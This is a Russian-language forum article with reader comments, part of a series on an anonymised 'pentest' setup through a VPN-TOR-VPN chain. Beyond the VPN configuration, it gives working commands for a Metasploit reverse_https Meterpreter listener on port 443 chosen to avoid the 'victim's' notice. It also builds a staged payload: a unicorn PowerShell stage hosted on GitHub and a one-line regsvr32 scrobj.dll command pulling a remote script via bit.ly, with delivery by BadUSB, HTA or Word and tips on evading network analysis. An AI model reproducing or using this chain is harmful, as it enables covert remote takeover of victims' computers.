• 🚨 29 мая стартует курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    После старта курса запись открыта еще 10 дней Подробнее о курсе ...

  • Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

Статья Анонимный Pentest [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

English version of the article: Anonymous pentest VPN - TOR - VPN {Part II}

И снова здравствуйте! В прошлой статье мы разбирали создание цепочки VPN - TOR - VPN. Сегодня подготовим SRV2 к проведению тестов на проникновение и испытаем в боевых условиях.

В первой части я забыл упомянуть, SRV1 и SRV2 желательно создать в двух разный регионах, например: один во Франкфурте другой в Лондоне.

Первым делом сменим порты SSH и OpenVPN на нестандартные
Подключаемся к SRV1 по ssh

Снимок.PNG

Перед тем как менять порты, сначала их нужно разрешить. К примеру SSH сменим на 4910, а OpenVPN на 4911

003.PNG

И теперь меняем порты.
sudo vi /etc/ssh/sshd_config

004.PNG


sudo vi /etc/openvpn/server.conf

005.PNG


Перезагружаем сервисы и удаляем старые порты из разрешенных.

009.PNG


Меняем порты на SRV2
Желательно использовать разные порты на SRV1 и SRV2. На втором сервере, SSH будет 2375, OpenVPN - 2376.
Конектимся к SRV2.

002.PNG
И таким же образом меняем порты. SSH = 2375, OpenVPN = 2376.
sudo ufw allow 2375
sudo ufw allow 2376

sudo vi /etc/openvpn/server.conf
sudo vi /etc/ssh/sshd_config

Сначала перезагружаем именно SSH, не то потеряете доступ.
sudo systemctl restart ssh
sudo systemctl restart openvpn@server
После рестарта openvpn@server связь оборвется. Закрываем окно и переходим к след. пункту.


Возращаемся на SRV1
Правим клиентский файл подключения к VPN SRV2.
sudo vi /etc/openvpn/client.conf

007.PNG

OpenVPN Client restarting
sudo systemctl restart openvpn@client
Связь с SRV2 снова восстановлена!


Отключаем логирование VPN
В первой части я специально оставил логи, они необходимы для отладки в случае проблем. Но когда мы все правильно настроили, выключим их.

ssh vpnsrv1
sudo vi /etc/openvpn/server.conf
Комментируем следующую директиву
verb 3 меняем на verb 0


OpenVPN Client
sudo vi /etc/openvpn/client.conf
verb 0

sudo systemctl restart openvpn@client
sudo systemctl restart openvpn@server

Тоже самое на SRV2


Создание клиентского файла конфигурации для подключений к VPN SRV1

Для связи с SRV2 нам вполне хватает ssh. Но для большего комфорта и пропуска всего трафика через цепочку VPN - TOR -VPN, настроим наше подключение к VPN SRV1. Не зря же мы ее делали.

Конектимся к SRV1, в файле /home/openvpn-ca/client-configs/base.conf меняем порт на ренее нами измененный в /etc/openvpn/server.conf (VPN SRV1 - 4911/udp)

010.PNG
remote IP_address_of_SRV1 4911

Если вы хотите использовать один сертификат на нескольких устройств одновременно, в SRV1 /etc/openvpn/server.conf раскомментируйте директиву:


Готовим клиент конфиг файл к экспорту

011.PNG

Копируем к себе на локальную машину (Kali Linux) и запускаем VPN.

012.PNG


013.PNG

Ну все, теперь у нас весь трафик идет через нашу цепочку VPN - TOR - VPN!

Добавим информацию об SRV2 в ~/.ssh/config | HostName должен быть именно 10.8.1.1, ни в коем случае не пишите сюда публичный IP второго сервера.

sketch-1520850465283.png

Теперь просто введя ssh vpnsrv2 на локальной машине, попадаем на SRV2 через нашу анонимную цепочку.


Готовимся к атаке

Идем на SRV2, и ставим Metasploit Framework.
Bash:
sudo echo 'deb http://downloads.metasploit.com/data/releases/metasploit-framework/apt jessie main' | sudo tee /etc/apt/sources.list.d/metasploit-framework.list
sudo wget -qO - http://apt.metasploit.com/metasploit-framework.gpg.key | sudo apt-key add -
sudo apt update && sudo apt dist-upgrade
sudo apt install metasploit-framework postgresql -y

Инициализция Metasploit PostgreSQL Database
Bash:
sudo systemctl start postgresql
msfdb init
sudo ln -s /home/admin/.msf4/ /root/

Если metasploit запускать от обычного юзера, он не сможет слушать порты. Поэтому мы добавили зеркало .msf4 в домашний каталог root-а. Команда для запуска sudo msfconsole.

015.PNG

Но как известно, программа запущенная в ssh закрывается как только мы выходим из консоли. Нам же требуется чтобы наш сервер был всегда готов 24 часа в сутки принять к себе гостей с их же пряником, как говорил DarkNode;)
Для осуществления сего, нам нужна утилита "screen"
Bash:
sudo apt install screen


Запускаем msfconsole в screen.
Bash:
screen -S msf sudo msfconsole
-S msf = задает имя сессии
sudo msfconsole = сама команда выполняемая в screen

#Чтобы отправить сессию в фон
Ctrl+A потом D

#Список фоновый сессий
screen -list

#Обратно берем сесию
screen -r msf

#msf = имя сессии


Поднимем листенер который будет принимать на себя reverse shell. Но перед этим надо указать фаерволу чтобы он пропускал порт котрый мы будем слушать.

Мы будем принимать шелл на 443 (https) порт, чтобы не бросаться в глаза нашей "жертве".
sudo ufw allow 443
sudo ufw allow 8443

screen -S msf sudo msfconsole
use multi/handler
set payload windows/meterpreter/reverse_https
set LPORT 443
curl ident.me; echo
set LHOST IP_address_of_SRV2
set ExitOnSession false
set EnableStageEncoding true
exploit -j

016.PNG

Отправляем msfconsole в фон (Ctrl+A затем D) и возвращаемся в Kali Linux.


Модульная доставка полезной нагрузки - Web Delivery

payload_stages.png

Техника не новая, я узнал про нее от DarkNode этих статьях(одна, вторая). Она мне очень полюбилась и с тех пор пользуюсь только ею, но чуть по другому. Именно это и будем сегодня рассматривать. Самое интересное по приведенной выше схеме - это то что мы можем в любую минуту сменить полезную нагрузку на зараженной машине. Достаточно изменить Stage3 и все меняется. Так же мы можем на время оставить жертву в покое (очистите и оставьте Stage 1 пустым) даже при анализе сети WireShark-ом жертва ничего не найдет. А на второй день обратно верние Stage 1 и снова ловите reverse shell! Также изменив Destination IP в Stage 3 легко передать полученные сессии своему коллеге для совместной работы:). Думаю очень перспективный вариант.

Качаем unicorn от trustedse, для генерации полезной нагрузки
Код:
git clone https://github.com/trustedsec/unicorn.git
Генерируем

017.PNG

Переименовываем powershell_attack.txt в stage3 и заливаем на github (Естественно создаем новый акк через нашу цепочку)


Далее создаем stage2
Нам понадобятся скрипты DarkNode.
base64_convert ссылка
и XML скрипт для regsvr32

020.PNG

Почему то я смог вылжит его здесь, codeby ругается на ошибки. Поэтому залил на gitgub.
Запускаем ./base64_convert.py

Аргументы для конвертирования следующие:
IEX(New-Object Net.WebClient).DownloadString('
В последних скобках, raw адрес до вашего файла stage3 который вы залили на github

019.PNG

Полученную команду вставляем в XML скрипт приведенный выше и сохраняем под названием stage2

021.PNG

Это тоже загружаем на github.
В итоге получается ссылка на stage2 - "" если сократить ее на bit.ly будет на много удобней.

Вот и stage 1 - команда для запуска на компьютере жертвы. (Сделать это вариантов куча: BadUSB, HTA, Word, втсроить в приложение и т.д, )

Код:
regsvr32 -s -n -u -i:https://raw.githubusercontent.com/XXXXXX/XXX/master/stage2 scrobj.dll


Для наглядности с укороченным url, она приобретает следующий вид. Всего 50 символов, способны заразить компьютер.))))
Код:
regsvr32 -s -n -u -i:http://bit.ly/XXXXX scrobj.dll

022.PNG

Идем на SRV2 и смотрим принял ли наш сервер reverse shell.


023.PNG

И видим что все сработало на ура! Так же мы можем управяеть ею с телефона. Скопируйте ssh ключ от SRV1 на свой тел. или установите OpenVPN и дерзайте. В видео еще покажу проброску полученней сессии на локалку. Всем спасибо за внимание, я пойду на бок завтра раано вставать)))).
 

Вложения

  • 021.PNG
    021.PNG
    49,4 КБ · Просмотры: 255
Последнее редактирование модератором:
Статья интересная! Но так и не понял зачем такой замут с впн - тор - впн.. Смысла в этом не вижу, но для школьников пойдёт.
 
Статья интересная! Но так и не понял зачем такой замут с впн - тор - впн.. Смысла в этом не вижу, но для школьников пойдёт.
Смысл в изоляции двух адресов друг от друга за счёт их сообщения через тор
Кстакти а чё там серьёзные парни которые не школьники юзаю? Поделишься? =D
 
Последнее редактирование модератором:
Смысл в изоляции двух адресов друг от друга за счёт их сообщения через тор
Кстакти а чё там серьёзные парни которые не школьники юзаю? Поделишься? =D
Судя по его постам - серьёзные парни за гуглдоркс только что узнали
 
Если я правильно понял, то можно за несколько секунд получить сессию через bad usb?
 
Последнее редактирование:
Free Hotspot (Ubiquiti) + quad VPN
впн понимаешь это впн всё таки, как только ты реальные вещи начнешь делать, может и квайд не спасти (а квайд ты сам поднимаешь или берешь в аренду? склоняюсь что арендуешь)
Тор не зря юзают посередине
 
  • Нравится
Реакции: gushmazuko
Да ладно, я не сцЫкун! ;) Делаю как сам считаю правильным! И как всё адекватные люди...
Использую не купленые ВПН. А как, пусть для тебя это будет секретом )))
Мне хватает того что я делаю. Удачи в реальных вещах!
 
я вообще считаю оптимальной связку которая приведена в статье.
 
  • Нравится
Реакции: gushmazuko
Статься отличная! Читал взахлеб!
Хочу заметить, что материала достаточно не только для того, чтобы реализовать предложенную автором идею, но и подчерпнуть знаний в самостоятельной установке VPN для новичков.
Статья очень обширная, тут сказать нечего..)
 
Хуху, круто! Очень объёмный материал, спасибо. Добавить сюда фокусы с железом и...
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD